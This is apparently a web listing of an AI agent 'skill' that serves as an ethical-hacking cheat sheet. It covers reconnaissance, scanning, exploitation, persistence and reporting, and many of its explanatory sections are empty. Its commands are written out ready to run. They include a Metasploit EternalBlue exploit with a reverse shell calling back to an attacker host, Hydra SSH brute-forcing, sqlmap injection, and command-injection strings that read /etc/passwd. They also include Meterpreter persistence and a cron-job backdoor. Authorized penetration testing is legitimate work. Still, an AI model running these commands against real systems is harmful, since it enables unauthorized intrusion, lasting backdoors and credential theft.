Ethical Hacking Methodology
Sécurité & ConformitéThis skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.
Documentation
Ethical Hacking Methodology
Purpose
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
Prerequisites
Required Environment
Required Knowledge
Outputs and Deliverables
Core Workflow
Phase 1: Understanding Hacker Types
Classification of security professionals:
White Hat Hackers (Ethical Hackers)
Black Hat Hackers (Malicious)
Grey Hat Hackers (Hybrid)
Other Classifications
Phase 2: Reconnaissance
Gather information without direct system interaction:
Passive Reconnaissance
# WHOIS lookup
whois target.com
# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
# Subdomain discovery
dnsrecon -d target.com
# Email harvesting
theHarvester -d target.com -b allGoogle Hacking (OSINT)
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# Find login pages
site:target.com inurl:login
site:target.com inurl:admin
# Find directory listings
site:target.com intitle:"index of"
# Find configuration files
site:target.com filetype:config
site:target.com filetype:envGoogle Hacking Database Categories:
Social Media Reconnaissance
Phase 3: Scanning
Active enumeration of target systems:
Host Discovery
# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
arp-scan -l
# Discover live hosts
nmap -sP 192.168.1.0/24Port Scanning
# TCP SYN scan (stealth)
nmap -sS target.com
# Full TCP connect scan
nmap -sT target.com
# UDP scan
nmap -sU target.com
# All ports scan
nmap -p- target.com
# Top 1000 ports with service detection
nmap -sV target.com
# Aggressive scan (OS, version, scripts)
nmap -A target.comService Enumeration
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# Vulnerability scanning
nmap --script=vuln target.comCommon Port Reference
| Port | Service | Notes |
|------|---------|-------|
| 21 | FTP | File transfer |
| 22 | SSH | Secure shell |
| 23 | Telnet | Unencrypted remote |
| 25 | SMTP | Email |
| 53 | DNS | Name resolution |
| 80 | HTTP | Web |
| 443 | HTTPS | Secure web |
| 445 | SMB | Windows shares |
| 3306 | MySQL | Database |
| 3389 | RDP | Remote desktop |
Phase 4: Vulnerability Analysis
Identify exploitable weaknesses:
Automated Scanning
# Nikto web scanner
nikto -h http://target.com
# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus (via API)
nessuscli scan --target target.comWeb Application Testing (OWASP)
Manual Techniques
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web technology fingerprinting
whatweb target.comPhase 5: Exploitation
Actively exploit discovered vulnerabilities:
Metasploit Framework
# Start Metasploit
msfconsole
# Search for exploits
msf> search type:exploit name:smb
# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
# Set target
msf> set RHOSTS target.com
# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# Execute
msf> exploitPassword Attacks
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txtWeb Exploitation
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
# XSS testing
# Manual: <script>alert('XSS')</script>
# Command injection testing
# ; ls -la
# | cat /etc/passwdPhase 6: Maintaining Access
Establish persistent access:
Backdoors
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys
# Cron job persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontabPrivilege Escalation
# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh
# Windows enumeration
winpeas.exe
windows-exploit-suggester.py
# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null
# Check sudo permissions
sudo -lCovering Tracks (Ethical Context)
Phase 7: Reporting
Document findings professionally:
Report Structure
Phase 8: Common Attack Types
Phishing
Malware Types
Network Attacks
Phase 9: Kali Linux Setup
Install penetration testing platform:
Hard Disk Installation
Live USB (Persistent)
# Create bootable USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"
# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usbPhase 10: Ethical Guidelines
Legal Requirements
Professional Conduct
Quick Reference
Penetration Testing Lifecycle
| Stage | Purpose | Key Tools |
|-------|---------|-----------|
| Reconnaissance | Gather information | theHarvester, WHOIS, Google |
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
| Maintaining Access | Persistence | Meterpreter, SSH keys |
| Reporting | Document findings | Report templates |
Essential Commands
| Command | Purpose |
|---------|---------|
| nmap -sV target | Port and service scan |
| nikto -h target | Web vulnerability scan |
| msfconsole | Start Metasploit |
| hydra -l user -P list ssh://target | SSH brute force |
| sqlmap -u "url?id=1" --dbs | SQL injection |
Constraints and Limitations
Authorization Required
Professional Standards
Troubleshooting
Scans Blocked
Solutions:
Exploits Failing
Solutions:
Compétences similaires
Explorez d'autres agents de la catégorie Sécurité & Conformité
azure-keyvault-keys-rust
|
mobile-security-coder
Expert in secure mobile coding practices specializing in input
binary-analysis-patterns
Master binary analysis patterns including disassembly, decompilation, control flow analysis, and code pattern recognition. Use when analyzing executables, understanding compiled code, or performing static analysis on binaries.